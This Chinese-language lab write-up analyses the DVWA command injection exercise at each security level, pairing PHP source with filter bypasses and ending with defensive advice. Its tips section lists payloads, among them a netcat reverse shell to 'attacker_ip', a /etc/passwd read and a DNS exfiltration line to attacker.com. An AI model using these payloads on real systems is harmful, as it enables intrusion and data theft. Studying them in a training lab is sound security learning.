DVWA Command Injection 命令注入全等级分析与实践
字数 1210
更新时间 2025-08-14 02:39:46
DVWA Command Injection 命令注入全等级分析与实践
命令注入漏洞概述
命令注入是一种安全漏洞,允许攻击者在服务器上执行任意操作系统命令。这种漏洞的危害性极高,因为:
- 继承Web服务程序的权限去执行系统命令或读写文件
- 可以反弹shell
- 可能控制整个网站甚至服务器
- 为进一步内网渗透提供跳板
与SQL注入、XSS等常见漏洞相比,命令注入在实际应用中较为罕见,因为直接让用户输入并执行系统命令的操作在Web应用中并不常见。
DVWA命令注入等级分析
Low等级
源码分析:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
$target = $_REQUEST[ 'ip' ];
$cmd = shell_exec( 'ping ' . $target );
// ...
}
?>
漏洞点:
- 直接将用户输入的
$target变量带入shell_exec()函数中 - 没有任何过滤或验证机制
攻击方法:
使用命令连接符注入额外命令:
127.0.0.1 && dir
127.0.0.1 && ipconfig
常用命令连接符:
&&:前一个命令成功则执行后一个;:无论前一个命令是否成功都执行后一个|:管道符,将前一个命令的输出作为后一个命令的输入||:前一个命令失败则执行后一个
Medium等级
源码分析:
<?php
$target = $_REQUEST[ 'ip' ];
$target = str_replace( array( '&&', ';' ), '', $target );
$cmd = shell_exec( 'ping ' . $target );
// ...
?>
防护措施:
- 使用
str_replace()函数过滤掉&&和;两种命令连接符
绕过方法:
- 使用未被过滤的连接符如
|:
127.0.0.1 | dir
High等级
源码分析:
<?php
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
$target = str_replace( array( '&', ';', '| ', '-', '$', '(', ')', '`', '||' ), '', $target );
$cmd = shell_exec( 'ping ' . $target );
// ...
?>
防护措施:
- 增加了更多过滤字符:
&,;,|(带空格的|),-,$,(,),`,||
漏洞点:
|过滤时带有空格,但|不带空格时仍可使用
绕过方法:
127.0.0.1|dir
Impossible等级
源码分析:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
// 拆分IP地址为四个部分
$octet = explode( ".", $target );
// 检查每个部分是否为数字且在0-255之间
if( ( is_numeric( $octet[0] ) ) &&
( is_numeric( $octet[1] ) ) &&
( is_numeric( $octet[2] ) ) &&
( is_numeric( $octet[3] ) ) &&
( sizeof( $octet ) == 4 ) ) {
// 重新组合IP地址
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
$cmd = shell_exec( 'ping ' . $target );
// ...
}
else {
// 输入无效处理
}
}
?>
防护措施:
- 使用白名单验证:确保输入必须是合法的IP地址格式
- 将输入拆分为四个部分,每部分必须是数字且在0-255之间
- 重新组合IP地址,防止注入任何命令
命令注入防护总结
-
白名单校验:最佳实践是使用严格的白名单验证输入参数(如Impossible等级所示)
- 对于IP地址,验证格式和数值范围
- 对于其他参数,定义允许的字符集
-
特殊字符限制:当白名单不可行时(如设备密码等场景):
- 过滤或转义所有可能的命令分隔符:
&,;,|,||,&&,$,(,),`,\n等 - 使用单引号包裹变量可以防止部分命令解析
- 过滤或转义所有可能的命令分隔符:
-
最小权限原则:运行Web服务的账户应具有最小必要权限
-
避免直接调用系统命令:尽可能使用语言内置函数替代系统命令调用
-
输入验证与输出编码:对所有用户输入进行严格验证,并对输出进行适当编码
实战技巧
-
测试命令注入:
- 尝试各种命令连接符
- 测试命令分隔符的变体(如带空格/不带空格)
- 尝试编码或转义特殊字符
-
常用测试payload:
127.0.0.1; whoami 127.0.0.1 && ls -la 127.0.0.1 | cat /etc/passwd 127.0.0.1 || nc -e /bin/sh attacker_ip 4444 -
盲注检测:
- 使用时间延迟:
127.0.0.1 && sleep 5 - 使用DNS查询:
127.0.0.1 && nslookup $(whoami).attacker.com
- 使用时间延迟:
通过理解这些等级的实现和绕过方法,可以更好地防御实际应用中的命令注入攻击。
相似文章
相似文章